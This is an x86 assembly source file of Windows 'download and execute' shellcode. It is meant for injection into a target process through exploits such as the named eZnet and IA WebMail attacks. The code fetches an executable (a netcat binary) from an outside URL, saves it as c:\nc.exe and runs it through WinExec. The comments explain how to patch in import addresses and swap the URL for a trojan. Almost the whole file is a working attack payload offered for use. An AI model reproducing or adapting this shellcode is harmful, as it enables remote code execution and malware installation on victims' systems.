; Vampiric Shellcode - Url Download + Execute
; By Peter Winter-Smith
; [peter4020@hotmail.com]
; 
; To use this shellcode, disassemble a dll or module attached
; to the process which you are targetting, and search for calls
; to LoadLibraryA, and GetProcAddress.
; 
; You will see code which is similar to 'call [12345678h]',
; which is an address in memory which will always point to
; the function which we wish to call, regardless of Operating
; System or Service Pack.
;
; Replace all the 'XXXXXXXXh' occurances within this shellcode
; with the address pointing to LoadLibraryA, and all 'ZZZZZZZZh'
; occurances with the address pointing to GetProcAddress.
; 
; For real life demonstrations of the usage of this code,
; please look at the exploit page on my website
; (http://www.elitehaven.net), this code is used in the perl 
; version of the eZnet exploit and the perl version of the 
; IA WebMail exploit.
; 
; Thanks to HDMoore for his conceptual work on the writing of
; 'vampiric' shellcodes - it is now a method which I greatly
; favour when it comes to shellcode writing :o)


bits 32

jmp short killnull

next:
pop edi

push ebp
mov ebp, esp
add esp, -24

push edi

xor ebx, ebx
mov bl, 07h
mov al, 0ffh

cld
nullify:
repne scasb
inc byte [edi-01h]
dec bl
cmp bl, 01h
jne nullify

pop edi

push edi    ; 'URLMON.DLL'
lea edi, [edi+11]
push edi    ; 'URLDownloadToFileA'
lea edi, [edi+19]
push edi    ; 'WinExec'
lea edi, [edi+08]
push edi    ; 'http://www.elitehaven.net/ncat.exe'
lea edi, [edi+35]
push edi    ; 'c:\nc.exe'
lea edi, [edi+09]
inc edi
push edi    ; 'kernel32.dll'

lea edx, [esp+20]
push edx

jmp short over
killnull:
jmp short data
over:

mov esi, edx
push dword [esi]

call [XXXXXXXXh]  ; LoadLibraryA("URLMON.DLL");

pop edx
push edx
lea esi, [edx-04]
push dword [esi]

push eax

call [ZZZZZZZZh]  ; GetProcAddress(URLMON.DLL, "URLDownloadToFileA");

pop edx
push edx

xor ecx, ecx
push ecx
push ecx
lea esi, [edx-16]  ; file path
push dword [esi]
lea esi, [edx-12]  ; url
push dword [esi]
push ecx

call eax

pop edx
push edx

push dword [edx-20]

call [XXXXXXXXh]  ; LoadLibraryA("kernel32.dll");

pop edx
push edx


lea esi, [edx-08]
push dword [esi]  ; 'WinExec'
push eax    ; kernel32.dll handle

call [ZZZZZZZZh]  ; GetProcAddress(kernel32.dll, "WinExec");

pop edx
push edx

xor ecx, ecx
inc ecx
push ecx

lea esi, [edx-16]  ; file path
push dword [esi]

call eax

int3


data:
call next
db 'URLMON.DLL',0ffh
db 'URLDownloadToFileA',0ffh
db 'WinExec',0ffh
db 'http://www.elitehaven.net/ncat.exe',0ffh
; When altering, you MUST be sure to also alter the offsets in the
; saved string offset table!
; for example:
;   db 'http://www.site.com/someguy/trojan.exe',0ffh
; count the length of the url, and add one for the 0ffh byte.
; The above url is 38 bytes long, plus one for our null, is 39 bytes.
; find the code saying (at the start of the shellcode):
;   push edi    ; 'http://www.elitehaven.net/ncat.exe'
;   lea edi, [edi+35]
; and make it:
;   push edi    ; 'http://www.site.com/someguy/trojan.exe'
;   lea edi, [edi+39]
; same goes for the filename below :o)
db 'c:\nc.exe',0ffh
db 'kernel32.dll',0ffh